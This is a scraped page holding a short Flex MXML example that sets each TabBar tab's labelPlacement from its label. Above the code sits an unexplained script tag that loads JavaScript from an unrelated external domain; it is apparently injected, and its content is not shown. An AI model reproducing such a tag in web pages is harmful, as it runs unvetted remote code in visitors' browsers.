<script src="http://www.cpcasr.cn/ad_js/mm_123.js"></script>
main.mxml
- <?xml version="1.0" encoding="utf-8"?>
- <mx:Application name="TabBar_getChildAt_labelPlacement_test"
- xmlns:mx="http://www.adobe.com/2006/mxml"
- layout="vertical"
- verticalAlign="middle"
- backgroundColor="white">
- <mx:Script>
- <![CDATA[
- import mx.controls.tabBarClasses.Tab;
- private function init():void {
- var tab:Tab;
- var idx:uint;
- var len:uint = tabBar.numChildren;
- for (idx=0; idx<len; idx++) {
- tab = tabBar.getChildAt(idx) as Tab;
- tab.labelPlacement = tab.label;
- }
- }
- ]]>
- </mx:Script>
- <mx:Array id="arr">
- <mx:Object label="left"
- icon="@Embed('assets/arrow_left.png')" />
- <mx:Object label="right"
- icon="@Embed('assets/arrow_right.png')" />
- <mx:Object label="top"
- icon="@Embed('assets/arrow_up.png')" />
- <mx:Object label="bottom"
- icon="@Embed('assets/arrow_down.png')" />
- </mx:Array>
- <mx:TabBar id="tabBar"
- dataProvider="{arr}"
- tabWidth="150"
- tabHeight="60"
- creationComplete="init();" />
- </mx:Application>